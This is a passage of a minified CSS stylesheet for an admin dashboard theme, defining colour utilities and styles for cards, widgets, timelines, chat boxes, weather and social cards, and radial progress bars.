#fb6340}.b-r-warning{border-right:1px solid #fb6340}.b-warning{border:1px solid #fb6340}.b-t-danger{border-top:1px solid #f5365c}.b-b-danger{border-bottom:1px solid #f5365c}.b-l-danger{border-left:1px solid #f5365c}.b-r-danger{border-right:1px solid #f5365c}.b-danger{border:1px solid #f5365c}.b-t-success{border-top:1px solid #2dce89}.b-b-success{border-bottom:1px solid #2dce89}.b-l-success{border-left:1px solid #2dce89}.b-r-success{border-right:1px solid #2dce89}.b-success{border:1px solid #2dce89}.b-t-inverse{border-top:1px solid #4c5667}.b-b-inverse{border-bottom:1px solid #4c5667}.b-l-inverse{border-left:1px solid #4c5667}.b-r-inverse{border-right:1px solid #4c5667}.b-inverse{border:1px solid #4c5667}.b-t-info{border-top:1px solid #11cdef}.b-b-info{border-bottom:1px solid #11cdef}.b-l-info{border-left:1px solid #11cdef}.b-r-info{border-right:1px solid #11cdef}.b-info{border:1px solid #11cdef}.bg-default{background-color:#d6d6d6 !important}.bg-theme{background-color:#ef4153 !important}.bg-aqua{background-color:#3ec5d6 !important}.bg-blue{background-color:#19B5FE !important}.bg-light-blue{background-color:#89CFF0 !important}.bg-teal{background-color:#008081 !important}.bg-yellow{background-color:#F7CA18 !important}.bg-orange{background-color:#FF8000 !important}.bg-green{background-color:#26C281 !important}.bg-lime{background-color:#cad900 !important}.bg-red{background-color:#F22613 !important}.bg-fuchsia{background-color:#df2de3 !important}.bg-navy{background-color:navy !important}.bg-empty{background:transparent !important}.bg-primary{background-color:#007bff !important}.bg-success{background-color:#2dce89 !important}.bg-info{background-color:#11cdef !important}.bg-warning{background-color:#fb6340 !important}.bg-danger{background-color:#f5365c !important}.bg-muted{background-color:#6c757d !important}.bg-inverse{background-color:#4c5667 !important}.bg-purple{background-color:#BF55EC !important}.bg-pink{background-color:#f76397 !important}.bg-white{background-color:#fff !important}.bg-facebook{background-color:#3b579d !important}.bg-twitter{background-color:#1da1f2 !important}.bg-google{background-color:#dc4a38 !important}.bg-linkedin{background-color:#0177b4 !important}.text-default{color:#d6d6d6 !important}.text-blue{color:#19B5FE !important}.text-light-blue{color:#89CFF0 !important}.text-teal{color:#008081 !important}.text-navy{color:navy !important}.text-lime{color:#cad900 !important}.text-orange{color:#FF8000 !important}.text-yellow{color:#F7CA18 !important}.text-aqua{color:#3ec5d6 !important}.text-white{color:#fff !important}.text-danger{color:#f5365c !important}.text-green{color:#26C281 !important}.text-primary{color:#007bff !important}.text-warning{color:#fb6340 !important}.text-success{color:#2dce89 !important}.text-info{color:#11cdef !important}.text-inverse{color:#4c5667 !important}.text-pink{color:#f76397 !important}.text-purple{color:#BF55EC !important}.text-dark{color:#212121 !important}.text-fuchsia{color:#df2de3 !important}.text-red{color:#F22613 !important}.text-facebook{color:#3b579d !important}.text-twitter{color:#1da1f2 !important}.text-instagram{color:#fb3958 !important}.text-google{color:#dc4a38 !important}.text-linkedin{color:#0177b4 !important}.text-behance{color:#053eff !important}.text-dribbble{color:#ea4c89 !important}.text-red{color:#F22613 !important}.min-width-zero{min-width:0}.w-10{width:10% !important}.w-90{width:90% !important}.w-12{width:12% !important}.w-88{width:88% !important}.w-15{width:15% !important}.w-85{width:85% !important}.w-20{width:20% !important}.w-80{width:80% !important}.w-30{width:30% !important}.w-70{width:70% !important}.w-40{width:40% !important}.w-60{width:60% !important}.hidden{display:none !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.visuallyhidden.focusable:active,.visuallyhidden.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.invisible{visibility:hidden}.clearfix:before,.clearfix:after{content:" ";display:table}.clearfix:after{clear:both}@media only screen and (max-width: 1023px){.w-sm-100{width:100% !important}}@media only screen and (max-width: 767px){.w-xs-100{width:100% !important}}.card{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-header{padding:20px 20px;border:0;background:none;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card .card-header h3{margin:0;font-size:18px;font-weight:normal;color:#212121}.card .card-header .card-options a:not(.dropdown-item){width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:33px;color:#212121;display:inline-block;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.card .card-header .card-options span{color:#444;font-size:12px}.card .card-header .card-search{position:relative}.card .card-header .card-search .form-control{padding-right:60px;font-size:14px;max-height:30px;min-height:30px}.card .card-header .card-search .form-control ~ .btn{position:absolute;right:0;top:0;padding:0;width:30px;height:30px;line-height:30px;border-radius:4px;background-color:#eceff1;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-btn{background-color:transparent;border:0;position:absolute;right:30px;top:0;width:30px;height:30px;line-height:30px;padding:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-search-wrap{padding:20px;display:none;position:absolute;left:30px !important;width:100%;top:30px;background-color:#fff;z-index:4;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08);border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .card-header .card-search.with-adv-search .adv-search-wrap .form-control{padding-right:15px}.card .card-header .card-search.with-adv-search .adv-search-wrap .btn{padding:0 15px;font-size:14px;height:30px;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-header .card-search.with-adv-search .adv-search-wrap.show{display:block}.card .card-header.note-toolbar{padding:0 0 5px 5px}.card .card-header .dropdown .checkbox-dropdown{padding:0px;width:16px;height:16px;background-color:#dee2e6;border-radius:.25rem;margin-right:15px}.card .card-body{padding:20px 20px;flex:1 1 auto;position:relative}.card .card-img{height:100%;object-fit:cover;max-height:200px;width:unset;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-img-overlay{background:rgba(0,0,0,0.5);padding:1.75rem;border-radius:4px}.card.icon-card .card-body i{font-size:46px;line-height:66px;color:#212121}.card.icon-card .card-body .card-text{color:#8f8f8f;height:30px;line-height:26px}.card.icon-card .card-body .lead{color:#212121;margin-bottom:0}.card .nav-pills.custom-pills{border-bottom:1px solid #f1f1f1}.card .nav-pills.custom-pills .nav-link{border-radius:0;opacity:.7;font-size:14px;padding:12px 15px}.card .nav-pills.custom-pills .nav-link.active{color:#ef4153;opacity:1;background-color:transparent;border-bottom:2px solid #ef4153}.widget{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;background-color:#fff;overflow:hidden;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.widget .widget-header{padding:10px 20px;border-bottom:1px solid #f5f7f9;position:relative}.widget .widget-header .widget-title{font-size:18px;margin:0}.widget .widget-header .widget-tools{position:absolute;right:10px;top:5px}.widget .widget-header .widget-tools .btn-widget-tool{padding:5px;font-size:16px;background:transparent;color:#97a0b3}.widget .widget-header .widget-tools .btn-widget-tool i{margin:0}.widget .widget-header .widget-tools .btn-widget-tool:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.widget .widget-body{padding:20px 20px}.widget .widget-body h6{margin-bottom:0;font-weight:400}.widget .widget-body h2{margin-bottom:0px;font-weight:600}.widget .widget-body .icon{font-size:37px;color:#9aa0ac}.widget .widget-body .overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.22);text-align:center;z-index:3;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.widget .widget-body .overlay i{font-size:32px;color:#ef4153;margin-bottom:5px}.widget .progress{border-radius:0}.widget[class*=bg-] .widget-header{background-color:rgba(255,255,255,0.2);border-bottom-color:transparent}.widget[class*=bg-] .widget-header .widget-title{color:#fff}.widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool{color:rgba(255,255,255,0.6)}.widget[class*=bg-] .widget-body{color:#fff}.widget[class*=bg-] .widget-body .icon{color:#fff}.widget.social-widget .widget-body{text-align:center}.loading{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.card-group .card:not(:last-child){border-right:1px solid #f1f1f1}.card .card-header{border-bottom:1px solid #f1f1f1}.card .card-header .card-header-right{right:10px;top:16px;display:inline-block;float:right;position:absolute}.card .card-header .card-header-right .card-option{width:35px;height:25px;overflow:hidden;margin:0;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.card .card-header .card-header-right .card-option li{display:inline-block}.card .card-header .card-header-right .card-option li i{margin:0 5px;cursor:pointer;font-size:15px;color:#8c8c8c;line-height:2;font-weight:300}.card .card-block{padding:1.25rem}.card .card-body .icon{font-size:37px;color:#9aa0ac}.card .feeds-widget{padding:0}.card .feeds-widget .feed-item{display:block;padding:12px 15px;border:1px solid #efefef;border-left:0;border-right:0}.card .feeds-widget .feed-item a{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .feeds-widget .feed-item a .feeds-left{width:50px;font-size:30px}.card .feeds-widget .feed-item a .feeds-body{width:100%}.card .feeds-widget .feed-item a .feeds-body h4{font-size:16px;margin:0;font-weight:700;margin-bottom:5px}.card .feeds-widget .feed-item a .feeds-body h4 ~ small{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;width:calc(100% - 60px);font-size:13px;color:#777}.card .feeds-widget .feed-item.feed-item{margin-top:-1px}.card .timeline .header{background-size:cover;color:#fff;position:relative}.card .timeline .header .color-overlay{padding:2em;box-sizing:border-box;background:rgba(123,94,155,0.5);line-height:normal}.card .timeline .header .color-overlay .day-number{font-size:6em;margin-right:15px;display:inline-block;font-weight:700;line-height:1}.card .timeline .header .color-overlay .date-right{display:inline-block}.card .timeline .header .color-overlay .date-right .day-name{font-size:22px}.card .timeline .header .color-overlay .date-right .month{text-transform:uppercase;margin-top:2px}.card .timeline ul{list-style:none;position:relative;padding-left:30px;padding-top:10px;margin:0}.card .timeline ul:before,.card .timeline ul::before{content:' ';height:100%;width:1px;background-color:#f0f0f0;position:absolute;top:0;left:35px;z-index:1}.card .timeline ul li{padding-bottom:15px}.card .timeline ul li .bullet{width:10px;height:10px;display:inline-block;z-index:2;position:relative;vertical-align:top;margin:7px 0;margin-right:5px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .timeline ul li .time{width:20%;font-size:10px;margin:6px 0;vertical-align:top;display:inline-block}.card .timeline ul li .desc{width:65%;display:inline-block}.card .timeline ul li .desc h3{margin:0;font-size:14px;font-weight:700}.card .timeline ul li .desc h4{margin-top:5px;font-size:12px;color:#999}.card .task-list{margin:0;padding:0}.card .task-list li{display:block;padding:15px 0 15px 0;margin:0;cursor:pointer}.card .task-list li:first-child{padding-top:0}.card .task-list li.list span{float:left;margin-top:20px;color:#FF7E39}.card .task-list li.list span:before,.card .task-list li.list span::before{font-size:1.5rem;content:"\e83f";font-family:'iconkit';vertical-align:middle;border:3px solid #FF7E39;padding:4px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .task-list li.list .task-details{margin-left:60px}.card .task-list li.list .task-details p{margin:0;padding:10px 0 6px 0;line-height:140%}.card .task-list li.list .task-details p.date{padding:0;margin:0;font-size:.75rem}.card .task-list li.completed{text-decoration:line-through;color:#8796af;-moz-transition:all 0.3s ease-out;-o-transition:all 0.3s ease-out;-webkit-transition:all 0.3s ease-out;transition:all 0.3s ease-out}.card .task-list li.completed span:before,.card .task-list li.completed span::before{color:#50b924;border:3px solid #50b924}.card .chat-box .chat-list{margin:0;padding:0;list-style:none}.card .chat-box .chat-list .chat-item{list-style:none;margin-top:30px}.card .chat-box .chat-list .chat-item .chat-img{display:inline-block;width:45px;vertical-align:top}.card .chat-box .chat-list .chat-item .chat-img img{width:45px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.card .chat-box .chat-list .chat-item .chat-content{width:calc(100% - 50px);display:inline-block;padding-left:15px}.card .chat-box .chat-list .chat-item .chat-content .box{display:inline-block;padding:10px;margin-bottom:3px;color:#343a40;background:#f6f8f9;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .chat-box .chat-list .chat-item .chat-time{display:block;font-size:10px;color:#4F5467;margin:5px 0 15px 65px}.card .chat-box .chat-list .chat-item.odd .chat-content{text-align:right;width:calc(100% - 0px)}.card .chat-box .chat-list .chat-item.odd .chat-content .box{clear:both;color:#fff;background:#137eff}.card .chat-box .chat-list .chat-item.odd .chat-time{text-align:right}.card .chat-box .chat-list .chat-item.odd+.odd{margin-top:0}.card .chat-box .chat-list .chat-item:first-child{margin-top:0}.card .chat-footer{position:relative;background-color:#fff}.card .chat-footer .input-wrap{padding-right:50px}.card .chat-footer .btn{position:absolute;top:10px;right:20px;width:35px;height:35px}.card .card-title{font-size:18px}.card .card-subtitle{font-weight:300;margin-bottom:10px;color:#afb5c1}.jvectormap-tip{border:none;font-family:'Nunito Sans', sans-serif;font-weight:700;padding:5px 10px;font-size:11px}.chart-line .ct-grid{stroke-dasharray:0;stroke:rgba(255,255,255,0.5)}.chart-line .ct-point{stroke-width:0}.chart-line .ct-line{stroke:#FFF;stroke-width:3px}.chart-shadow{transition:all 0.3s ease-in-out;filter:drop-shadow(0px 5px 2px rgba(43,43,43,0.2))}.card-blue,.card-green,.card-red,.card-yellow{position:relative;overflow:hidden}.card-blue:after,.card-green:after,.card-red:after,.card-yellow:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;z-index:1}.card-blue .card-block,.card-blue .card-block-big,.card-blue .card-block-small,.card-blue .card-body,.card-blue .card-footer,.card-blue .card-header,.card-green .card-block,.card-green .card-block-big,.card-green .card-block-small,.card-green .card-body,.card-green .card-footer,.card-green .card-header,.card-red .card-block,.card-red .card-block-big,.card-red .card-block-small,.card-red .card-body,.card-red .card-footer,.card-red .card-header,.card-yellow .card-block,.card-yellow .card-block-big,.card-yellow .card-block-small,.card-yellow .card-body,.card-yellow .card-footer,.card-yellow .card-header{position:relative;z-index:5}.card-red::after{background:#f5365c}.card-red .ct-line{stroke:#fff}.card-red .ct-grid{stroke:#f97f97}.card-blue::after{background:#007bff}.card-blue .ct-line{stroke:#fff}.card-blue .ct-grid{stroke:#4da3ff}.card-green::after{background:#2dce89}.card-green .ct-line{stroke:#fff}.card-green .ct-grid{stroke:#69deac}.card-yellow::after{background:#fb6340}.card-yellow .ct-line{stroke:#fff}.card-yellow .ct-grid{stroke:#fda08b}.proj-progress-card .progress{height:6px;overflow:visible;margin-bottom:10px}.proj-progress-card .progress .progress-bar{position:relative}.proj-progress-card .progress .progress-bar:after{content:"";background:#fff;position:absolute;right:-6px;top:-4px;border-radius:50%;width:15px;height:15px}.proj-progress-card .progress .progress-bar.bg-red:after{border:3px solid #f5365c}.proj-progress-card .progress .progress-bar.bg-blue:after{border:3px solid #007bff}.proj-progress-card .progress .progress-bar.bg-green:after{border:3px solid #2dce89}.proj-progress-card .progress .progress-bar.bg-yellow:after{border:3px solid #fb6340}@media only screen and (max-width: 992px){.proj-progress-card h6{margin-top:15px}.proj-progress-card .progress{margin-bottom:30px}}.sos-st-card h3{display:inline-block}.sos-st-card h3 i{color:#fff;font-size:18px;width:60px;height:60px;border-radius:50%;padding:12px 0;text-align:center;margin-right:15px;border:10px solid transparent;transition:all 0.3s ease-in-out}.sos-st-card h5{position:relative}.sos-st-card h5:after{content:"";background:#d2d2d2;position:absolute;top:-20px;right:-15px;width:1px;height:60px}.sos-st-card.facebook h3{color:#3b579d}.sos-st-card.facebook h3 i{background-color:#3b579d;border-color:#869cd2}.sos-st-card.twitter h3{color:#1da1f2}.sos-st-card.twitter h3 i{background-color:#1da1f2;border-color:#96d3f9}.sos-st-card.linkedin h3{color:#0177b4}.sos-st-card.linkedin h3 i{background-color:#0177b4;border-color:#37bafe}.sos-st-card.dribble h3{color:#ea4c89}.sos-st-card.dribble h3 i{background-color:#ea4c89;border-color:#f7bed4}.sos-st-card:hover h3 i{transform:scale(1.2) rotate(35deg)}@media only screen and (max-width: 768px){.sos-st-card h3 i{font-size:16px;width:35px;height:35px;padding:7px 0;margin-right:0;border-width:3px;margin-left:-10px}.sos-st-card h5:after{display:none}}.wather-card{overflow:hidden}.wather-card .wather-card-top{position:relative;overflow:hidden;min-height:200px;background:linear-gradient(to bottom, #7a9af5, rgba(90,179,243,0.5))}.wather-card .wather-card-top .wave{position:absolute;left:0;right:0;top:auto;bottom:0;z-index:1}.wather-card .wather-card-top .wave+.wave{z-index:2}.wather-card .wather-card-top .wave+.wave+.wave{z-index:3}.wather-card .wather-card-top .sun{background:#fff;position:absolute;top:50px;left:50px;width:30px;height:30px;border-radius:50%}.wather-card .wather-card-top .sun:after,.wather-card .wather-card-top .sun:before{content:"";width:100%;height:100%;border-radius:50%;position:absolute;box-shadow:inset 0 0 20px 5px rgba(255,255,255,0.4)}.wather-card .wather-card-top .sun:after{animation:sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .sun:before{animation:sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-star1,.wather-card .wather-card-top .w-star2{position:absolute;top:0;left:0;width:100%}.wather-card .wather-card-top .w-star1{animation:sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .w-star2{animation:sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-cloud{position:absolute;right:30px;top:60px;opacity:0;animation:w-cluod 15s linear infinite}@keyframes w-cluod{0%{opacity:0;transform:translate(0px, 0px)}20%{opacity:0.8;transform:translate(30px, -25px)}40%{opacity:1;transform:translate(0px, 0px)}60%{opacity:0.6;transform:translate(-30px, 25px)}80%{opacity:0.5;transform:translate(0px, 0px)}80%{opacity:0;transform:translate(0px, 0px)}}@keyframes sparcle{0%{opacity:1}50%{opacity:0}}@keyframes sunwawe{0%{transform:scale(1);opacity:1}100%{transform:scale(4);opacity:0}}.comp-card i{color:#fff;width:50px;height:50px;border-radius:5px;text-align:center;padding:17px 0;font-size:18px;text-shadow:0 6px 8px rgba(62,57,107,0.18);transition:all 0.3s ease-in-out}.comp-card:hover i{border-radius:50%}.proj-t-card{position:relative;overflow:hidden}.proj-t-card .pt-badge{color:#fff;margin-bottom:0;display:inline-block;padding:60px 50px 20px 20px;border-radius:50%;position:absolute;top:-45px;right:-35px;transition:all 0.3s ease-in-out;box-shadow:0 5px 7px 0 rgba(62,57,107,0.18)}.proj-t-card:hover .pt-badge{padding:65px 55px 30px 30px;text-shadow:0 3px 5px rgba(62,57,107,0.5);box-shadow:0 4px 4px 0 rgba(62,57,107,0.3)}.prod-p-card i{background-color:#fff;width:40px;height:40px;border-radius:50%;text-align:center;padding:11px 0;font-size:18px;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px rgba(62,57,107,0.2)}.prod-p-card:hover i{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:scale(0.9) translatey(5px)}.ticket-card .lbl-card{box-shadow:0 5px 4px -2px rgba(51,51,51,0.16);border-radius:5px;padding:5px 15px;color:#fff;display:inline-block}.analytic-card .analytic-icon{width:50px;height:50px;text-align:center;padding:17px 0;border-radius:50%;background-color:#fff;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.analytic-card:hover .analytic-icon{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:rotate(-15deg) translatey(5px)}.social-res-card .progress{height:6px}.product-progress-card .progress{height:6px}.product-progress-card .pp-cont{padding-left:15px;padding-right:15px;position:relative}.product-progress-card .pp-cont:after{content:"";background:#d2d2d2;width:1px;height:100%;position:absolute;top:0;left:-15px}.product-progress-card .pp-main>div:first-child .pp-cont:after{display:none}@media only screen and (max-width: 992px){.product-progress-card .pp-cont{margin-top:15px;margin-bottom:15px}.product-progress-card .pp-cont:after{display:none}}.social-card h2{text-shadow:0 8px 15px rgba(51,51,51,0.2);transition:all 0.3s ease-in-out}.social-card:hover h2{text-shadow:0 4px 4px rgba(51,51,51,0.2);transform:scale(0.9) translatey(5px)}.user-card{overflow:hidden}.user-card .user-img{border-radius:50%;display:flex;align-items:center;width:80px;height:80px;margin:0 auto;position:relative;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-img h5{margin:0 auto}.user-card .user-img .link-share{position:absolute;padding:4px 0;right:0;bottom:0;border-radius:50%;width:25px;height:25px;background:#fff;color:#666;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-sub-img{position:relative;margin:30px 0 10px;padding-top:30px}.user-card .user-sub-img>img{width:30px;cursor:pointer;margin:5px}.user-card .user-sub-img:after{content:"";width:30px;height:1px;background:#2b2b2b;position:absolute;top:0;right:calc(50% - 15px)}.user-card .f-btn{cursor:pointer;transition:all 0.3s ease-in-out}.user-card .f-btn a{transition:all 0.3s ease-in-out}.user-card .f-btn:hover{background-color:#99caff;box-shadow:inset 0 5px 7px -3px rgba(43,43,43,0.15)}.user-card .f-btn:hover a{color:#007bff}.soc-cont-card{color:#fff;position:relative;overflow:hidden}.soc-cont-card .soc-slider{margin-right:85px}.soc-cont-card .soc-cont-icon{color:#fff;font-size:50px;width:100px;text-align:center;position:absolute;right:0;top:20px}.soc-cont-card .num-block{background:#fff;color:#ef4153;padding:8px 15px;display:inline-block;margin:5px 0 10px;border-radius:5px;box-shadow:inset 0 1px 3px -1px rgba(43,43,43,0.25)}.soc-cont-card .num-block+.num-block{margin-left:15px}.soc-cont-card .num-block i{font-size:16px;opacity:1}.soc-cont-card .card-block{margin-bottom:20px;padding-bottom:10px}.soc-cont-card:after{content:"";background:rgba(255,255,255,0.5);height:20px;width:100%;position:absolute;bottom:0;left:0}@media only screen and (max-width: 575px){.soc-cont-card .soc-slider{margin-right:0}.soc-cont-card .soc-cont-icon{font-size:40px;width:50px;top:auto;bottom:35px}}.st-cir-card{position:relative;overflow:hidden}.st-cir-card .st-bt-lbl{font-size:60px;font-weight:700;opacity:0.3;position:absolute;bottom:-30px;right:-5px}.st-cir-card .st-cir-chart{position:relative}.st-cir-card .st-cir-chart h5{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.st-cir-card .ct-series-a .ct-slice-donut{stroke:#fff}.st-cir-card.card-red .ct-series-b path{stroke:#fa97ab}.st-cir-card.card-blue .ct-series-b path{stroke:#66b0ff}.st-cir-card.card-green .ct-series-b path{stroke:#7ee3b8}.st-cir-card.card-yellow .ct-series-b path{stroke:#fdb5a4}.prod-bar-card .pbc-chart{width:50px;margin:0 auto 10px}.prod-bar-card .radial-bar:after{box-shadow:0 0 3px #fff}.sale-card .s-chart{position:relative}.sale-card .s-chart .bottom-line{background:#ccc;position:absolute;width:80px;height:3px;bottom:30px;left:50%;transform:translatex(-50%)}.sale-card .radial-bar{margin:15px 0 35px}.sale-card .radial-bar>img{box-shadow:0 0 0 8px #fff}.sale-card .s-caption{width:20px;height:20px;border-radius:5px;display:inline-block;vertical-align:super;margin-right:5px}.sale-card .progress{height:5px}.sale-card .tot-rev-chart{position:relative;margin:0 auto}.sale-card .tot-rev-chart .ct-series-b path{stroke:#fff}.sale-card .tot-rev-chart .ct-series-a .ct-slice-donut{stroke:#fb6340}.sale-card .tot-rev-chart h3{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.new-cust-card img{border:2px solid #fff;box-shadow:0 5px 10px 0 rgba(43,43,43,0.2)}.new-cust-card h6{margin-bottom:0}.new-cust-card .align-middle{position:relative}.new-cust-card .align-middle .status{position:absolute;right:0;top:19px;font-size:13px}.new-cust-card .align-middle .status.active{width:10px;height:10px;border-radius:50%;background:#2dce89}.table-card .card-block{padding-left:0;padding-right:0;padding-top:0}.table-card .card-block .table>thead>tr>th{border-top:0}.table-card .card-block .table tr td:first-child,.table-card .card-block .table tr th:first-child{padding-left:20px}.table-card .card-block .table tr td:last-child,.table-card .card-block .table tr th:last-child{padding-right:20px}.table-card .card-block .table.without-header tr:first-child td{border-top:none}.table-card .p-status{width:10px;height:10px;border-radius:50%}.latest-update-card .card-block{padding-top:0}.latest-update-card .card-block .latest-update-box{position:relative}.latest-update-card .card-block .latest-update-box:after{content:"";position:absolute;background:#ebebeb;height:100%;width:3px;top:0;left:19px;z-index:1}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2}.latest-update-card .card-block .latest-update-box .update-meta .update-icon{width:30px;height:30px;border-radius:50%;text-align:center;padding:7px 8px;font-size:16px;color:#fff}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red{box-shadow:0 0 0 4px rgba(245,54,92,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue{box-shadow:0 0 0 4px rgba(0,123,255,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green{box-shadow:0 0 0 4px rgba(45,206,137,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow{box-shadow:0 0 0 4px rgba(251,99,64,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring{border-width:3px;width:15px;height:15px;padding:0;display:block;margin-left:13px;background:#fff}.latest-update-card .card-block .latest-update-box .update-meta i.update-icon{margin-left:4px;margin-right:19px}.latest-update-card .card-block .latest-update-box .update-meta img.update-icon{padding:0;width:40px;height:40px}@media only screen and (max-width: 575px){.latest-update-card .card-block .latest-update-box:after{display:none}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2;min-width:100%;text-align:left !important;margin-bottom:15px;border-top:1px solid #f1f1f1;padding-top:15px}}.testimonial-card .progress{height:5px}.testimonial-card .review-block .cust-img{width:50px;height:50px}.testimonial-card .review-block>div{padding-top:15px;padding-bottom:15px;margin-left:0;margin-right:0;padding-left:5px;padding-right:5px}.testimonial-card .review-block>div:hover{background-color:rgba(0,123,255,0.1)}.feed-card h6{margin-top:7px}.feed-card .feed-icon{color:#fff;border-radius:50%;width:30px;height:30px;text-align:center;padding:8px 9px}.chat-card .msg{margin-bottom:5px;display:inline-block;padding:10px;position:relative}.chat-card .msg img{width:60px;border-radius:5px;margin-bottom:5px;margin-top:5px;margin-right:10px}.chat-card .received-chat .msg{background:rgba(0,123,255,0.1);border-radius:0 5px 5px 5px;box-shadow:2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .received-chat .msg:after{content:"";position:absolute;left:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-bottom-color:rgba(0,123,255,0.1)}.chat-card .send-chat{text-align:right}.chat-card .send-chat .msg{background:rgba(45,206,137,0.1);border-radius:5px 0 5px 5px;box-shadow:-2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .send-chat .msg:after{content:"";position:absolute;right:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-right-color:rgba(45,206,137,0.1)}.radial-bar{position:relative;display:inline-block;border-radius:50%;background-color:transparent;margin-bottom:20px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;width:80px;height:80px;font-size:18px}.radial-bar:after,.radial-bar>img{display:inline-block;position:absolute;top:0;left:0;border-radius:50%;text-align:center;font-weight:500;color:#455a64}.radial-bar:after{content:attr(data-label);background-color:#fff;z-index:55}.radial-bar>img{z-index:102}.radial-bar:after,.radial-bar>img{width:56px;height:56px;margin-left:12px;margin-top:12px;line-height:56px}.radial-bar.radial-bar-0{background-image:linear-gradient(90deg, 